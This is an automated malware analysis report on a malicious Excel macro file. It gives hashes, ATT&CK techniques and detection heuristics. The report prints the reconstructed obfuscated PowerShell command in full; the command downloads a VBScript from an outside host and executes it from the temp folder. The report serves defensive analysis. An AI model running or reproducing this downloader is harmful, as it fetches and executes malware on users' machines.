Office (OLE) / .XLS malware analysis — malicious · 34c45fd458fee591

MALICIOUS

Office (OLE) / .XLS

32.5 KB Created: 2015-06-05 18:17:20 Authoring application: Microsoft Excel First seen: 2022-08-25

MD5: fc93ed6c93b7709bd949a2f5fd463f94 SHA-1: c3be1eae1b31e72172e8146eb107775e9e4ee5ce SHA-256: 34c45fd458fee591a089434e5d7380f5857fbdfaca8e43857d4ed2de3024e1ff

100 Risk Score

Malware Insights

MITRE ATT&CK

T1059.001 PowerShell T1059.005 Visual Basic T1105 Ingress Tool Transfer

The VBA macro contains a PowerShell command that is obfuscated using string concatenation and reversal. The reconstructed command is 'powershell -WindowStyle Hidden $ErrorActionPreference=\'SilentlyContinue\';$u4e0b0 = [Enum]::ToObject([System.Net.SecurityProtocolType], 3072);[System.Net.ServicePointManager]::SecurityProtocol = $u4e0b0 ;$c50=\'eY.teN tc\' + \'ejbO-weN(\' ;$Ax1=\'olnwoD.)tnei\' + \'lCb\'; $c3=\' )\'\'sbv.dapeton\\\' + \'pmet:vne$,\'\'sbv.tneilC detcetorP/rennid/moc.anahgeissua//:ptth\'$(eliFda';$TC=$c3,$Ax1,$c50 -Join \'\';($TC|% {-join($_[-1..-$_.Length])})|IEX;& ($env:temp+ \'\notepad.vbs\')'. This command downloads a VBScript from 'http://anageissua.com/downloader/protected/Client.vbs' and saves it as 'C:\temp\notepad.vbs', which is then executed. The CreateObject heuristic further supports the execution of code.

Heuristics 3

Reference to PowerShell high SC_STR_POWERSHELL

Reference to PowerShell
CreateObject call high OLE_VBA_CREATEOBJ

CreateObject call
VBA macros detected medium OLE_VBA_MACROS

Document contains VBA macro code

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas` `d8a7e26c6b8c5f50ec57007a6b24ea6e15c8a6f1c8fdeaa2a74a80971277d495`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	1377 bytes

Open this report in the interactive analyzer, or submit your own file for analysis.